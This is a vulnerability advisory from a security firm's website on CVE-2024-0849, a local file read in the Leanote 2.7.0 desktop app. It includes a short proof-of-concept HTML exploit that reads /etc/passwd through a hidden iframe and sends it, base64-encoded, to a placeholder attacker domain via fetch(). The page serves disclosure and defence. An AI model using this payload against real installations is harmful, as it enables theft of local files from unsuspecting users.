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Leanote 2.7.0 - Local File Read
5 Medium

Discovered by

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name Leanote 2.7.0 - Local File Read

Code name Alesso

State Public

Release date Feb 6, 2024

Affected product Leanote

Affected version(s) Version 2.7.0

Vulnerability name Lack of data validation - Path Traversal

Vulnerability type 063. Lack of data validation - Path Traversal

Remotely exploitable No
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CVSS v3.1 vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

CVSS v3.1 base score 5.0

Exploit available Yes

CVE ID(s) CVE-2024-0849

Description

Leanote version 2.7.0 allows obtaining arbitrary local files. This is possible because the application is 

vulnerable to LFR.

Vulnerability

A local file read (LFR) vulnerability has been identified in Leanote that allows an attacker to obtain 

arbitrary local files from the server. This was possible because not all security considerations that an 

electron-based application should have were followed.

Exploit

exploit.html

<iframe src="file:///etc/passwd" style="display: none;" onload="leak_internal_f

<script>

 function leak_internal_file(leak) {

 fetch("[MALICIOUS DOMAIN HERE]" + encodeURIComponent(btoa(leak)))

 }

</script>
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entrypoint.html

Our security policy

We have reserved the ID CVE-2024-0849 to refer to this issue from now on. Disclosure policy

System Information

Mitigation

There is currently no patch available for this vulnerability.

References

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

<iframe src="file:///Users/retr02332/Documents/exploit.html" style="display: no

Version: Leanote 2.7.0

Operating System: MacOS

•

•

Vendor page https://github.com/leanote/desktop-app•
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Jan 23, 2023

Vulnerability discovered

Jan 23, 2023

Vendor contacted

Feb 6, 2023

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for 

their remediation.

Start free trial

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in 

their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks 

accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
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© 2026 Fluid Attacks. We hack your software.

Terms of use

Privacy policy

System status

Cookie policy

   

 EN

Necessary

Preferences

Statistics

Marketing

Show details

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse

our traffic. We also share information about your use of our site with our social media, advertising

and analytics partners who may combine it with other information that you’ve provided to them or

that they’ve collected from your use of their services. You consent to our cookies if you continue

to use our website.

4/20/26, 3:11 PM Leanote 2.7.0 - Local File Read | Fluid Attacks

https://fluidattacks.com/advisories/alesso 6/6

https://fluidattacks.com/terms-use
https://fluidattacks.com/privacy
https://status.fluidattacks.tech/
https://fluidattacks.com/cookie
https://www.youtube.com/c/fluidattacks
https://www.linkedin.com/company/fluidattacks/
https://www.instagram.com/accounts/login/?next=https%3A%2F%2Fwww.instagram.com%2Ffluidattacks%2F&is_from_rle
https://x.com/fluidattacks/
https://fluidattacks.com/
https://www.cookiebot.com/en/what-is-behind-powered-by-cookiebot/?utm_source=banner_cb&utm_medium=referral&utm_content=v2

